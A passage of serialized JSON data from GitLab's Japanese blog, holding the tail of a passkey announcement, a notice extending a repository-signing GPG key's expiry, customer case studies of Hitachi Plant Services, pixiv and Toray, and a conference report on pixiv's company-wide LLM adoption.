認証管理**を選択してください。\n\nパスキーはWebAuthn技術と、秘密鍵と公開鍵で構成される公開鍵暗号化を使用しています。秘密鍵はデバイス上に安全に保存され、決して外部に送信されることはありません。一方、公開鍵はGitLabに保存されます。仮にGitLabが侵害されたとしても、攻撃者は保存された認証情報を使用してアカウントにアクセスすることはできません。パスキーは、デスクトップブラウザ（Chrome、Firefox、Safari、Edge）、モバイルデバイス（iOS 16以降、Android 9以降）、FIDO2ハードウェアセキュリティキーで動作し、複数のデバイスにパスキーを登録して便利にアクセスできます。\n\n![Passkeys sign-in with two-factor authentication](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png)\n\nGitLabは[CISA Secure by Design Pledge](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/)に署名し、セキュリティ対策状況の改善とお客様がより迅速に安全なソフトウェアを開発できるよう支援することをコミットしています。この誓約の主要な目標の一つは、製造業者の製品全体で[多要素認証（MFA）](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/#multi-factor-authentication-mfa)の使用を拡大することです。パスキーはこの目標の重要な要素であり、GitLabへのサインインをより安全で便利にするシームレスでフィッシング耐性のあるMFA方法を提供します。\n\nご質問がある場合、体験を共有したい場合、または潜在的な改善についてチームと直接やり取りしたい場合は、[フィードバックイシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/366758)をご覧ください。\n",[757,745],{"featured":641,"template":796,"slug":894},"passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab",{"content":896,"config":905},{"title":897,"description":898,"heroImage":899,"authors":900,"date":902,"body":903,"category":667,"tags":904},"GitLabパッケージリポジトリのメタデータ署名に使用されるGPGキーの有効期限が延長されました","packages.gitlab.comのGitLab Packagecloudインスタンスでリポジトリメタデータの署名に使用されるGPGキーの有効期限が延長されました。以下に重要な情報をまとめました。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771934335/c4f7zzdelhwcihaqwxym.png",[901],"Denis Afonso","2026-02-24","GitLabでは、公式のomnibus-gitlabおよびgitlab-runnerパッケージの配布に使用される各種aptおよびyumリポジトリのメタデータに署名するためにGPGキーを使用しています。これにより、パッケージ自体が別のキーで署名されることに加えて、パッケージの整合性を確保しています。\n\n現在メタデータの署名に使用されているキーのフィンガープリントは`F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`で、2026年2月27日に期限切れとなる予定でしたが、2028年2月6日まで延長されました。\n\n## なぜ有効期限を延長するのですか\n\nリポジトリメタデータ署名キーの有効期限は、GitLabのセキュリティポリシーに準拠し、キーが侵害された場合の影響を制限するために定期的に延長されています。新しいキーへのローテーションではなく有効期限の延長を行うのは、ユーザーへの影響を最小限に抑えるためです。ローテーションを行った場合、すべてのユーザーが信頼済みキーを置き換える必要があります。\n\n## 何をすればいいですか\n\n2026年2月17日より前にお使いのマシンでGitLabリポジトリを既に設定している場合は、[新しいキーの取得と追加方法](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys)に関する公式ドキュメントをご確認ください。\n\n新規ユーザーの方は、[GitLabインストールページ](https://about.gitlab.com/install/)または[gitlab-runnerインストールドキュメント](https://docs.gitlab.com/runner/install/linux-repository.html)に従っていただく以外に、特別な対応は必要ありません。\n\n[リポジトリメタデータ署名の検証](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys)に関する詳細情報は、Omnibusドキュメントでご確認いただけます。公開キーのコピーを更新する必要がある場合は、support@gitlab.comで検索するか、キーID `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`を使用して、任意のGPGキーサーバーで見つけることができます。\n\nまたは、次のURLを使用してpackages.gitlab.comから直接ダウンロードすることも可能です：`https://packages.gitlab.com/gpg.key`\n\n## さらにサポートが必要な方は\n\n[omnibus-gitlabイシュートラッカー](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug)でイシューを作成してください。",[745],{"featured":641,"template":796,"slug":906},"gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended",{"category":682,"slug":680,"posts":908},[909,922,934],{"content":910,"config":920},{"category":680,"date":876,"authors":911,"title":913,"body":914,"tags":915,"description":918,"heroImage":919},[912],"GitLab Japan Team","お客様事例：日立プラントサービス","## 株式会社日立プラントサービスについて\n\n株式会社日立プラントサービスでは、産業プラントや水インフラ、ライフサイエンス分野において、お客さまのデータから価値を創出し、デジタルイノベーションを加速するための、日立の先進的なデジタル技術を活用したソリューション・サービス・テクノロジーである「Lumada」を推進しています。\n\n## 株式会社日立プラントサービスの挑戦\n\n同社では、開発現場において、「人財強化」、「品質向上・維持」、「国内での情報管理」、「開発プロセス標準化」という4つの課題に直面していました。プロジェクトごとに異なるツールが乱立することで教育コストが増大し、セキュリティチェックの属人化による品質のバラつきも懸念されていました。また、生産性向上のカギを握る生成AI活用では、医療データや重要インフラ情報などの機微情報を扱う事業特性上、データを社外や海外へ送信することに強い懸念があり、導入の大きな足かせとなっていました。\n\n## GitLabの活用方法\n\n同社は、これらの課題解決に取り組むため、開発基盤にGitLabを選定。開発の最適化とAI活用、情報管理の徹底という3つのポイントを重視し、担当者個人の生産性向上に加えてプロセス全体を最適化し、さらに機微情報の海外流出を確実に防げる仕組みであることを評価しました。パートナーに選定したグループのITサービス企業である株式会社日立システムズは、統合運用サービスで培ったノウハウをGitLabへと展開し、次世代型の開発基盤を構築。開発現場で利用されていた複数のツールをGitLabへと一本化しました。こうして開発プロセスの標準化を図るとともに、教育コストを低減し、組織全体でスムーズにノウハウを共有できるようになりました。\n\n中でも、高度なセキュリティ／コンプライアンスを備えながら、先進的なAIを活用できるようにしたアーキテクチャはグループ内外で高く評価されました。新たな開発基盤は、国内リージョンのAWS環境でSelf-Managed版のGitLabを稼働させ、生成AIのClaudeと連携しています。これにより、パブリッククラウドを使ってもデータを国内にとどめ、セキュアな状態で活用できるローカルLLM環境を実現しました。さらに、GitLabのAI機能であるGitLab Duoを採用し、高い機密性のもとでコードレビューの自動化やコード提案、チャット機能による開発支援が可能になりました。CI/CDパイプラインには自動セキュリティスキャンを実装。AIとDevSecOps環境を最大限に活用することで、開発スピードを高めながら脆弱性を早期発見できるようになったのです。\n\n今後は、AIコーディングを開発ライフサイクル全体へと本格導入し、開発者の負担軽減と組織全体の生産性を大幅に向上させる計画です。大切なのは、単なるツールの導入で終わらせないこと。現場の要望に合わせて環境設計を行い、定着化に向けた勉強会や問い合わせ対応などの運用支援を含め、組織に新しい文化を浸透させながら、開発現場のモダナイズを進めていきたい考えです。\n\n両社は、この新たな開発基盤の成功をグループ全体へと横展開し、高品質なデジタルサービスを通じて、お客さまとの価値協創をさらに加速させる方針です。\n\n\\*本内容は2025年11月当時の情報をもとに制作しております\n\n\n\n## ▶️事例PDFを[無料でダウンロードする](\u003Chttps://res.cloudinary.com/about-gitlab-com/image/upload/v1776046067/lnw1a4zv8yl8kyjrqh42.pdf>)\n",[806,88,916,695,257,757,917],"customers","user stories","DevSecOpsプラットフォームとローカルLLMで、セキュアなAI活用を実現した事例をご紹介","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776046018/kwwrygr2bdhjcfheugfq.jpg",{"featured":13,"template":796,"slug":921},"epic-tokyo-2025-hitachi-hps",{"content":923,"config":932},{"title":924,"description":925,"authors":926,"heroImage":927,"date":928,"body":929,"category":680,"tags":930},"お客様事例：ピクシブ","生産性のオーバーヘッドを極小化する開発支援ツール戦略を加速する事例をご紹介。",[912],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770267303/xwn82trbh5iaf44e1gp3.jpg","2026-02-17","## ピクシブについて\n\nピクシブ株式会社は、「創作活動を、もっと楽しくする。」というミッションを掲げる企業です。2007年にリリースされたイラスト、マンガ、小説作品の投稿プラットフォーム「pixiv」を中核に、創作ドメインに特化した事業を多角的に展開。登録ユーザー数は1億を超え、海外ユーザー比率も高いグローバルなプラットフォームへと成長しました。\n\n## ピクシブの挑戦\n\n創業以来、内製による開発を継続する同社に数年前、開発サイクルにおける手戻りや待ち時間などのオーバーヘッドを可視化する機会が訪れました。社内で2番目に大きなプロジェクトのバリューストリームを分析したところ、開発時間全体の約19%がオーバーヘッドに占められていることが判明したのです。\n\n## GitLabの活用方法\n\n### ソリューション：GitLab Ultimate、GitLab Duo Enterprise\n\n面白いのは、この数字を単なる損失やネガティブな問題とは捉えず、「改善すれば成果が約束されている」、「19%の伸びしろがある」とポジティブに解釈したこと。オーバーヘッドを抑制しながら、組織規模の拡大に伴う開発効率の鈍化や、高まるセキュリティ脅威、ナレッジの散逸といった課題に対し、「デリバリー能力そのものの向上」を目指す取り組みが始まりました。ソースコード管理だけでなく、設計情報やセキュリティ機能も一元化できる「GitLab Ultimate」を核とした、シフトレフトへの移行です。\n\n開発ライフサイクル全体の基盤整備に向け、「3本の柱」が掲げられました。まずは、「健康診断のお医者さん」になること。チームの健康状態＝バリューストリームを定期的に診断し、改善への処方箋を出す役割です。次に、「ガードレール整備の職人」であること。セキュリティスキャンやインスペクション設定を最適化し、安全な開発環境を整える役割を担います。最後に、「コンテキストを集める推進リーダー」の務めを果たすこと。最新の支援ツールが正しく機能するよう、情報を整備します。\n導入戦略では「点・線・面」のアプローチを採用しました。まずは特定のプロジェクト＝点で成功事例を作り、それを複数の事例＝線へと展開し、最終的に全社的な標準＝面とする段階的な展開です。\n\nこれまでの大きな成果のひとつは、「部分最適の罠」を理解できたことです。検証の過程で、「特定工程の速度を2倍にしても、次の工程の負荷が倍増してボトルネックが発生し、全体のスループットは上がらない」という事実が浮き彫りになりました。これにより、単なるツールの導入ではなく、バリューストリーム全体を俯瞰した最適化が不可欠であるという認識が広がりました。\n\n開発支援機能を最適に使用するための基盤作りも進んでいます。従来、社内のWikiツールでやり取りしていた情報を、GitLab上のイシューやプロジェクト管理に集約。開発の背景やコンテキストを含めて一元的に把握できるようにすることで、支援ツールによる補助の精度や信頼性が向上しました。\n\n今後は、現在「線」になりつつある取り組みを、具体的なカバレッジ目標を持った「面」へと展開します。19%というオーバーヘッドをわずかでも削減することが狙いです。中でも、支援ツール活用のための環境整備に注力します。今後の開発に高度な自動化支援は不可欠で、「渋滞を起こさないようなバリューストリーム」の構築を実現したい考えです。\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770948394/hivoz9yjenzsi9os5ofr.pdf)\n\n## ▶️事例PDFを[無料でダウンロードする](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770948394/hivoz9yjenzsi9os5ofr.pdf)\n\n\u003Cobject class=\"slp-my-32\" data=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770948394/hivoz9yjenzsi9os5ofr.pdf\" type=\"application/pdf\" width=\"100%\" height=\"800\">\n\u003C/object>",[806,88,916,695,931,757,917],"performance",{"featured":13,"template":796,"slug":933},"epic-tokyo-2025-pixiv",{"content":935,"config":943},{"heroImage":936,"body":937,"authors":938,"updatedDate":5,"date":939,"title":940,"tags":941,"description":942,"category":680},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770172921/sprvmx9sgnxrx5m3ptxy.jpg","## 東レについて\n\n東レ株式会社は、繊維や機能化成品、炭素繊維などを提供する素材メーカー。2026年に創業100周年を迎え、売上高2兆5000億円、グローバルの従業員数約5万人を誇ります。UNIQLOの「ヒートテック」やボーイング「787」の機体材料など、私たちの身近な製品にも、その素材が利用されています。\n\n## 東レの挑戦\n\n同社は、情報システムに課題を抱えていました。50年前から稼働するホストコンピュータや、導入から20年以上経過したERP、そしてJavaをベースとした自社製の独自フレームワークで構築された200を超える業務システムが複雑に入り組んでいたのです。この状況ではDXの推進が困難で、運用保守に忙殺される技術者のモチベーション低下も大きな問題でした。そこで同社は競争優位性の源泉となる領域において、アプリケーションのモダナイズを決断しました。\n\n## GitLabの活用方法\n\n### ソリューション：GitLab Ultimate、GitLab Duo Enterprise\n\n基幹刷新プロジェクトと共に始動したアプリケーションモダナイズの取り組みでは、「セキュリティの向上」、「自動化（CI/CD）」、「モノリスからの脱却」、「常に新しい技術の採用」という4つの柱を掲げました。開発サイクルの高速化とセキュリティ確保を両立するDevSecOpsを実現するために、開発の初期段階からセキュリティチェックを組み込むシフトレフトのアプローチは不可欠。それを実現するためにGitLabを開発プラットフォームとし、セキュリティチェックとCI/CDサイクルを確立することで、開発スピード、品質、セキュリティのすべてを強化する体制を整えました。\n\nGitLabと生成AIエディタ「Cursor」を組み合わせたAI駆動開発にも挑戦しました。開発者はMarkdown形式のAPI仕様書を作成し、Cursorに入力することでソースコードやテストコードを自動生成します。導入当初は生成されるコードの品質にばらつきがありましたが、プロンプトの内容やアーキテクチャのルールを整備し、実装後にチェックするプロセスを導入することで、開発者間で均質なコードが生成されるよう改善しました。\n\n生成されたコードのレビューにはGitLab Duoを活用しています。AIをレビュアーとして指定することで、冗長なコードの指摘やエラーハンドリングの不足などを自動で検出し、属人化の解消とレビュー工数の削減を実現しています。\n\nこれらの取り組みにより、かつては手動で行っていた単体テストやデプロイ作業が自動化され、セキュリティテストもパイプラインの中で頻繁かつ定期的に実施できるようになりました。旧システムのクラウドリフトは約1年半で完了し、2025年からは本格的なモダナイズフェーズへと移行しています。わずか3か月で試行的なモダンアプリ開発を成功させるなど、着実に内製化への知見を蓄積しています。開発環境においても、VDIやNexusサーバを導入してセキュアな構成を保ちつつ、開発者が最新技術に触れられる「ワクワクする」環境づくりが進められています。\n\n今後は、人材採用活動をさらに積極化するとともに、生成AIとGitLab Duoによる開発・運用工数の削減を目指します。すでに脆弱性対応を自動化する仕組みの構築に着手。脆弱性診断結果を分析し、GitLab Duoを中心として修正コードの提案からマージリクエストの作成までを自動化する構想です。レビュアーはAIが提案した変更内容を確認して承認するだけというフローを確立し、人間がより創造的な業務に集中できる環境を目指します。\n\n\n## ▶️事例PDFを[無料でダウンロードする](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770170747/diywgk9vavrv3jtxyo1l.pdf)\n\n\u003Cobject class=\"slp-my-32\" data=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770170747/diywgk9vavrv3jtxyo1l.pdf\" type=\"application/pdf\" width=\"100%\" height=\"800\">\n\u003C/object>",[912],"2026-02-05","お客様事例：東レ",[806,88,916,695,757,917],"システムをGitLabとAI活用でモダナイズされた東レ様の事例。DevSecOps実現と開発効率化の取り組みを紹介します。",{"featured":13,"template":796,"slug":944},"epic-tokyo-2025-toray",{"category":695,"slug":693,"posts":946},[947,958,969],{"content":948,"config":956},{"category":693,"date":877,"authors":949,"tags":950,"body":952,"title":953,"description":954,"heroImage":955},[912],[806,951,916,821,252,757,917],"collaboration","2026年2月、GitLabは「Developers Summit 2026」に出展しました。本イベントにてスタッフ・リージョナル・マーケティングマネージャー川口 修平が、ピクシブ社のプロダクト開発ギルド Unit Leadのbash様と講演をおこないましたので、本記事にてその模様をレポートします。本講演ではピクシブ社がLLM利用率80％を実現した道筋について、川口がbash様からお話を伺いました。  \n\n![スタッフ・リージョナル・マーケティングマネージャー川口 修平](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300557/f5tilfouvx6il813daog.png \"スタッフ・リージョナル・マーケティングマネージャー川口 修平\")\n\n### ピクシブ社とは\n\n* 創作プラットフォーム「pixiv」を中核としてさまざまな創作活動を楽しむための事業を展開  \n* 社員数約400名で、そのうち開発者は約230名、エンジニアは約170名\n\n### GitLabとは\n\n* GitLabとは、AIネイティブDevSecOpsプラットフォーム  \n* GitLabは100ヵ国以上100,000以上の組織、5,000万以上のユーザーが利用\n\n![GitLabとは](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300556/x78nxrnwucp2aezdgiz4.png)\n\n### GitLab社とは\n\n* 2,000名以上の従業員（66ヵ国以上）  \n* オールリモート企業（世界中にオフィス無し）\n\n## Beyond the code時代へ ピクシブ社のなかで起きている変化とは？\n\nDevelopers Summit 2026のテーマは「Beyond the Code」です。LLMの性能向上により、ソフトウェア開発における定型作業の自動化など、バックオフィスやプロダクト開発の現場での、業務が最適化されています。\n\nそうしたなかで、ピクシブ社ではどのような変化が起きているか伺いました。\n\n「現在のエンジニアリングにおいて、単にコードを書き出す作業（タイピング）の価値よりも、その背後にある設計思想や『なぜそれを作るのか』という思考の価値がより高まっています。\n\n・背景をどう読み取り、なぜそのアプローチを選んだか\\\n・ほかにどんな選択肢があり、なぜそれをしなかったか\n\nという思考プロセスが、より重要になってきています。\n\nピクシブ社内にエンジニアギルドという組織があり、そこでそういったプロセスを大事にすることを2018年から行なってきました。少し先手を打てたかなというところがあり、これに沿って成果を上げようとしています。」\n\n## LLM利用率80％を実現！ピクシブが実践した「People・Process・Technology」三位一体の変革とは？\n\n![LLM利用率80％を実現！ピクシブが実践した「People・Process・Technology」三位一体の変革とは？](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300557/bf2q2iv8npbkrevn1nn5.jpg \"ピクシブ社プロダクト開発ギルドUnit Lead、bash氏\")\n\nピクシブ社のこうした変化は、まさに「Beyond the Code」を体現したものです。このような変化に対応する際に避けて通れないのが「自分たちがまず変わること」だと思います。\n\nけれど人は成功体験があったり確立されたプロセスがあったりすると、簡単に変わることはできません。そこで紹介したいのが、「People（人）、Process（プロセス）、Technology（テクノロジー）」というアプローチです。これは、まずTechnologyを抜本的に変え、それに合わせてProcessを整備し、それに応じてPeopleが変わっていくというアプローチになります。\n\n![「People（人）、Process（プロセス）、Technology（テクノロジー）」](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300553/ggrofuaaefmlz98fmf6h.png)\n\nGitLab社には、この変革実現アプローチでLLM時代に対応しているお客様が多くいらっしゃいます。ピクシブ社でも、同様のアプローチにてLLM利用率80％を達成されたとのことです。実際、どのようにして進められたのかをbash様に伺いました。\n\n### 3つの要素が螺旋形に絡み合いながら進化してきた\n\n「我々の変革は線形に進んできたわけではありません。それぞれの要素が螺旋形に絡み合いながら進化してきました。\n\nたとえば新しい技術を選定すると、人の行動が変わります。それに合わせて仕組みも変わってきて、そうこうしているうちに、次の新しい技術やバージョンが進展し、さらに変容するといった感じです。こういった相互作用を生み出しながら動いてきたのが実際のところです。\n\nこうした変革の成果として、LLM利用率80％・社内満足度90％・活用意欲向上95％を達成しました。」\n\n![3つの要素が螺旋形に絡み合いながら進化してきた](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300555/e5flajpmbn4jufsjgvkj.png)\n\nピクシブ社のLLM利用率80％という成果は、従業員各自が勝手にLLMを使ったというデータではありません。会社が決めたLLMを会社が決めたルールに沿って使った成果であり、そう考えるとLLM利用率80％というのは非常に素晴らしいです。\n\nここからはLLM利用率80％という成果を、People・Process・Technologyという3つの観点でどう達成されたかを伺います。\n\n### Technologyの変革 | GitLab Ultimate有償版の導入へ\n\n![Technologyの変革 | GitLab Ultimate有償版の導入へ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300553/pem3xgd49evviusemriy.png)\n\nまずはTechnologyの変革について、bash様に時系列で教えていただきました。\n\n「まず2013年にGitLabをGUI付きGitサーバーとして導入しました。2024年に大きな転換点がありGitLab Ultimateを導入し、SDLC（ソフトウェア開発ライフサイクル）をEnd to Endでカバーする基盤として本格的に整備を開始しています。\n\nまた、セキュリティスキャンや開発のバリューストリームの可視化などを実装し、それと両輪みたいなかたちでLLMの活用も開始しました。」\n\n#### GitLabを選定した理由\n\n次にGitLabを選定した理由について伺いました。\n\n「ツールチェーンvsプラットフォームがひとつの論点になりました。そのなかでツールチェーンと比べGitLabならコストを圧縮できるうえ、ライフサイクルを一貫して全体最適を狙いやすいという結論が出たのです。\n\nブラックボックス的なベンダーロックインにならないこともポイントでした。そのほか、セルフマネージメントで、必要に応じバッチをあてたりバージョンアップしたりできるという柔軟性も決め手になっています。」\n\n#### GitLab導入によるツールチェーンの解消\n\n![GitLab導入によるツールチェーンの解消](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776217764/k59vea5wbi5ck5uuf56g.png)\n\nGitLabを選定いただく理由として、ツールチェーン解消というポイントはよく挙げられます。そこで、ツールチェーンを運用するなかでの苦労について、bash様に伺いました。\n\n「エンジニア個人としては、ツール選びは楽しいですし自分にフィットする良いものを選びたいという気持ちはあります。そういったジレンマと戦う必要がある点が苦労ですね。\n\n組織レベルに引き上げて考えると、ツールチェーンに含まれるプロダクトはたくさんあります。これらをそれぞれで選定していると、契約上のスケールメリットが乏しくなるのです。小口契約ですと既成プランしか選択肢にならず、大口だとできるような大きな相談ができなくなりますからね。\n\nまた社内で使うツールのフラグメントがあると、メンバー異動が大変だったり、キャッチアップが難しかったり問題がどんどん出てきます。実用の苦労としては、個人・チームレベル・組織全体の最適が少しずつずれてくるという点がありますね。\n\nさらに、ツールチェーンでやるといろいろ選べるので、ところどころ入れ替えが難しい。意図せぬシャドーIT化だったり、外部ソリューションに頼るべきところを自分たちで作り込んでしまったりといった問題も発生します。」\n\n反対にプラットフォームのメリットについてうかがったところ、bash様は次のように話されました。\n\n「全体最適を追求しやすかったり、組織レベルでマクロの成果を見定めやすかったりする点が魅力ですね。ここで鍵となるのが人です。人をプラットフォームに寄せる必要が出てきて、ここが重要なポイントであり難しい点ですね。」\n\n#### GitLab Ultimateを導入しセキュリティ対策に着手した背景\n\n![GitLab Ultimateを導入しセキュリティ対策に着手した背景](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776217764/fq6ihuwnobueybhkxbro.png)\n\n次にGitLab Ultimate導入によるセキュリティ対策に着手した背景について、bash様に伺いました。\n\n「安全性・堅牢性を高めるためセキュリティが重要なのはもちろんですが、開発ライフサイクルとしても、インシデントはペースを乱す要素です。我々の開発体制は、運用とばらばらではありません。\n\nプロダクトを作って運用して、動かして維持してというのをホールチーム体制で続けているので、インシデントは開発時でも重要なイシューです。コードpush時のCIでは防げないサプライチェーンアタックや、外部要因で突然脆弱性が問題になることがあります。こういった問題を回避し、ホールチーム体制での開発継続性を大事にしたかったのです。」\n\n#### GitLab Ultimateを活用したピクシブのセキュリティ対策\n\nLLMの利用にあたって、セキュリティ脆弱性は重大な課題になります。IPAが毎年出しているレポートによれば、「2025年の企業におけるセキュリティ脅威 Top10」の第4位が「システムの脆弱性を悪用した攻撃」でした。またLLMが生成したコードについては、その45％に脆弱性が含まれているという調査もあります。\n\nこうしたなかで、ピクシブがどのようなセキュリティ対策を行っているか伺いました。\n\n![GitLab Ultimateを活用したピクシブのセキュリティ対策](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300558/zetxd9f9q7uwnfu05xe7.png)\n\n「いろいろあります。マージリクエストを実行する際、常に機械チェックをかけています。あとメインブランチを常にリリース可能な状態にしており、そこにあるソースコードに対し常にセキュリティスキャンをかけている状況です。ほかにもIaC構築や権限分離、レビュー・テスト・ライブラリ管理・アップデートなど、基本的な対策を忠実に行っています。\n\nただ、セキュリティは果てのない戦いなので、もう大丈夫とかもう十分な水準ということはありません。日々、改善し続けるためみんなで頑張っているという状況です。」\n\nピクシブが行っているのはリリース前のセキュリティスキャンだけ（DevOps+Sec）ではありません。開発サイクル全体でセキュリティスキャンが常に行われている状態（DevSecOps）です。\n\nこのように堅牢な体制があるからこそ、ピクシブでは自由にできる面もあるとのことでした。具体的に、どのようなことを自由に行えているのかbash様に伺いました。\n\n「たとえば開発者が自分にとって使いやすいIDEやツールを選べるように、複数の選択肢を設けています。また業務用PCも、ベンダーもスペックも自由にアレンジできる制度を長く運用している状況です。全体最適化を狙いつつ、各個人にあったツールを使っていこうという裁量の幅も設けています。」\n\n### Processの変革 |　①組織体制の整備\n\n![Processの変革 |　①組織体制の整備](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300559/ezjeke9kibifmm9znk29.png)\n\n次にProcessの変革についてbash様に伺いました。\n\n「まず組織体制の整備は欠かせません。LLM活用の取り組みは経営層と連携し、全社的に行わなければなかなか進まないと思います。各組織がそれぞれ単独で頑張っても難しいので、CTOの牽引力がキーとなり組織として横断的に推進する体制を整えました。\n\n開発サイクル全体でみるとCOE（Center of Excellence）を設置し、プロダクトを横断する関心事として進めています。LLMについては、組織の技術推進という文脈で専任部署が中心となって取り組みを進めた感じです。\n\nトップダウンでガイドラインを示し、LLMを活用しようというメッセージを出しました。一方で現場は自律的に、現場に即したものをどんどん活用し盛り上げています。トップダウンとボトムアップの両面から、推進しているという感じですね。」\n\n### Processの変革 |　②SDLCの整備\n\n「Processの変革について、2点目はSDLCの整備ということで、開発サイクルの健康診断を実施しました。パフォーマンスチューニングにプロファイリングが必要なように、『計測なくして改善なし』です。\n\nその結果、わかりやすいボトルネック工程があったわけでなく、複合的な問題が複数見つかりました。それに合わせた次の取り組みを考えていこうという状況です。」\n\nbash様がお話しされた「開発サイクルの健康診断」というキーワードは、まさにGitLabの特徴を表しています。GitLabは、開発サイクル全体のデータがひとつのプラットフォームに集約されるので、その一元化されたデータに基づいた生産性の可視化をすることができます。この可視化された生産性に基づいて開発サイクルの健康診断を実施されたとのことでした。\n\n### Processの変革 |　③評価制度の整備\n\n「Processの変革について、3つ目は評価制度の整備です。特に新しい評価制度を作ったわけでなく、生産性指標を評価に使うなという話はずっとしています。\n\nこれはよくあるアンチパターンとして、生産性指標を評価に用いることでうまくいかなくなるというのはよく聞いていました。うまくいかないことをペナルティと捉えてしまったりとか、『なぜそうなったか』を詰めたりするのは本当によくありません。\n\n生産性指標はあくまで改善のための情報であり、人を評価査定するための道具でないとはよく言っています。」\n\nProcessの変革について最後に、社内で好意的に受け止められたかをbash様に伺いました。\n\n「好意的というか『うまくいったらいいね』と、温かい目で見守ってくれた感じです。\n\n私としても、これがみんなの飛びつくような高関心領域になるとまで期待していません。ただ『ちょっと手間をかけるといっぱいいいことがある』という風に思ってもらえたら上々だな、と考えています。」\n\n### Peopleの変革 | ①Whole Teamカルチャー醸成\n\n最後にPeopleの変革についてbash様に伺いました。\n\n「ひとつ目は『Whole Team』カルチャーの醸成です。ひとつのチームとしてプロダクトに関する責任を持つことで、職種や役割を超えた相互支援ができます。\n\n品質・セキュリティ・パフォーマンスなど、推進担当の仕事にしてしまうのでなく、自分たちの仕事という意識をもつのです。そうしてCoEがそれを支援する、というのを前提にします。」\n\n### Peopleの変革 | ②LLMの性能を最大化する環境への配慮\n\n「次に、LLMを開発を支える強力なツールと捉え、性能を最大限に引き出せるよう、情報の整理の仕方（コンテキストの渡し方）を工夫することです。これまで人間が読むための情報としてまとめてきたコンテキストを、これからはLLMも読みやすくしなければならないという風に考え方を転換します。そうしてコンテキストを、LLMが処理できる組織知としての情報にするのです。」\n\n### Peopleの変革 | ③強い意志と責任感\n\n「3つ目は強い意志と責任感です。『LLMがこう出力したから』は理由になりません。自分の責任として『なぜ』を突き詰めるのです。\n\n前述したエンジニアギルドというところの活動で、『なぜそれをするのか』を考える習慣をエンジニア全員に頑張って根付かせてきました。こういった活動も役立っているなと思います。」\n\n### 採用について工夫していること\n\n入ってくる方にどういった素質があれば、ピクシブのこういった環境に適応できるのでしょうか。bash様に採用で重視する点を伺いました。\n\n「ミッションへのコミットメントをベースに、組織・事業・プロダクト・システムなどみんなで作っていくことについて大事にしていますね。」\n\n## ピクシブが目指すBeyond the code時代におけるあるべきエンジニア像とは？\n\n![ピクシブが目指すBeyond the code時代におけるあるべきエンジニア像とは？](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300556/y8ceh3zywuayp0bvhwmo.jpg)\n\n最後にピクシブが目指すBeyond the code時代におけるエンジニア像を伺いました。\n\n「エンジニアとはエンジニアリングを行う職種で、エンジニアリングとは、再現可能なプロセスを確立して継続することだと考えています。\n\n確かにコードを書ける能力は重要で、我々もエンジニアに求めるところです。エンジニア職といっても、インフラエンジニア、社内ライフエンジニア、開発エンジニアなどたくさんの役割がありますが、コードを通じて対話をする基礎能力は、どのエンジニアであれ役割であれ共通です。\n\nもちろん全員が常にコードを書くわけではありませんし、役割ごとに業務も違います。ただし問題をどう解釈しどんな手段で解決するか、という判断基準は共通であるべきです。なぜそれをしてなぜほかのやり方を取らなかったのか、を説明する責任はどのエンジニアにもあります。\n\nコードを書かないことの先にあるものを、今まで大事にしてきました。今後もそれを大事にして、まぐれ当たりでない再現可能なプロセスを積み重ねていく本質追求の姿勢が、エンジニアにとって重要だと考えます。」\n\n## まとめ\n\n本講演ではピクシブがLLM利用率を48％から80％へ、わずか1年で拡大させた変革の全体像をお話いただきました。ピクシブは、Technology、Process、Peopleという3つの要素を三位一体で変革してきたとのことです。\n\nTechnologyの変革ではツールチェーンをGitLabに統合し、プロセス全体にセキュリティを組み込むなどしてLLM活用の土台として整備しました。\n\nProcessの変革では経営と連携し、全社プロジェクトとしてCOEを立ち上げたとのことです。そうしてソフトウェア開発ライフサイクル全体を可視化し、守るべきガイドラインを示し、そのうえで評価制度を整備しました。\n\n最後にPeopleの変革では、Whole Teamカルチャーを醸成して、ひとつの目標を共有して全員で助け合う文化を根付かせたとのことです。そうしてLLMの性能を最大化するための配慮をしました。\n\nピクシブでは、この3つを変革することで、Beyond the code時代の変化に対応していったということです。今回のお話が皆様のヒントになれば幸いでございます。\n\n![ノベルティのシール](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776300557/actim4eue89tuftgp1gj.jpg \"ノベルティのシール\")\n\n> 生産性のオーバーヘッドを極小化する開発支援ツール戦略を加速。[お客様事例：ピクシブ](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-pixiv/)を読む","LLM利用率80%への道筋 ピクシブが実践した「People・Process・Technology」開発環境の三位一体の変革とは？","2026年2月、GitLabは「Developers Summit 2026」に出展しました。本イベントにてスタッフ・リージョナル・マーケティングマネージャー川口 修平が、ピクシブ社のプロダクト開発ギルド Unit 